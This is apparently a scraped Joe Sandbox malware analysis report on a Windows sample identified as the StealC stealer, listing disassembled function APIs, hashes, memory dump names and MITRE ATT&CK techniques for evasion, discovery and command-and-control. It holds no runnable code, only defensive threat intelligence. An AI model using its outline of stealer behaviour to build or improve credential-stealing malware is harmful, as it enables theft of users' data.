API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: 41fe66bd3db795dd068ff0a0abc40ea33a6333dd98b0558ba5612fcd865f8d4d
Instruction ID: 660e2df9dcc4ed907f3e750b1a52b9a8c47ca6e6a974e0aee0e70a0a515e2382
Opcode Fuzzy Hash: 41fe66bd3db795dd068ff0a0abc40ea33a6333dd98b0558ba5612fcd865f8d4d
Instruction Fuzzy Hash: 861127B2904118ABCB24DFC9DD45BBEB7F8FB4DB11F10421AF605A2280E3795945DBB1

Function 002FC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 002FC74E

Part of subcall function 002FBF9F: __amsg_exit.LIBCMT ref: 002FBFAF

__getptd.LIBCMT ref: 002FC765
__amsg_exit.LIBCMT ref: 002FC773
__updatetlocinfoEx_nolock.LIBCMT ref: 002FC797

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 44bb7346a742c85d3333af831ffd58d02ad0e505a62c41818054c1846f40f697
Instruction ID: 87a673a6930a08de35576da50e02d47d68433ec0f5c55eeffe31898b222eb590
Opcode Fuzzy Hash: 44bb7346a742c85d3333af831ffd58d02ad0e505a62c41818054c1846f40f697
Instruction Fuzzy Hash: 31F0F63292530D9BD7227F789D02B79F3A45F007A0F300279F304A61D2CB641860DE46

Function 002F4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 002F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 002F8E0B

lstrcat.KERNEL32(?,00000000), ref: 002F4F7A
lstrcat.KERNEL32(?,00301070), ref: 002F4F97
lstrcat.KERNEL32(?,01328B90), ref: 002F4FAB
lstrcat.KERNEL32(?,00301074), ref: 002F4FBD

Part of subcall function 002F4910: wsprintfA.USER32 ref: 002F492C
Part of subcall function 002F4910: FindFirstFileA.KERNEL32(?,?), ref: 002F4943

Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FDC), ref: 002F4971
Part of subcall function 002F4910: StrCmpCA.SHLWAPI(?,00300FE0), ref: 002F4987
Part of subcall function 002F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 002F4B7D
Part of subcall function 002F4910: FindClose.KERNEL32(000000FF), ref: 002F4B92

Memory Dump Source

Source File: 00000000.00000002.2101950818.00000000002E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002E0000, based on PE: true

Associated: 00000000.00000002.2101914382.00000000002E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.0000000000391000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000039D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.00000000003C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101950818.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.000000000053E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102186174.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102564814.00000000007DC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102701995.0000000000976000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102725282.0000000000977000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 25bac686a29cb21ccbed0e90577df9d44f60540450b50faae1d35b710ebf4905
Instruction ID: 338f8481492a2377ef499f07eb337a81d277ed33cc70bdc2c698872876cab0c8
Opcode Fuzzy Hash: 25bac686a29cb21ccbed0e90577df9d44f60540450b50faae1d35b710ebf4905
Instruction Fuzzy Hash: 4121C876A1020867CB64FB70DC56EEE733CAF65300F404554F65992181EEB49ADD8F92

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 002F9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 002E45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 002E4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 002F9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 002E6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 002F5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 002F17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 002F7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Function 002F69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 002E1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 002F6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 002E47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 002F51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON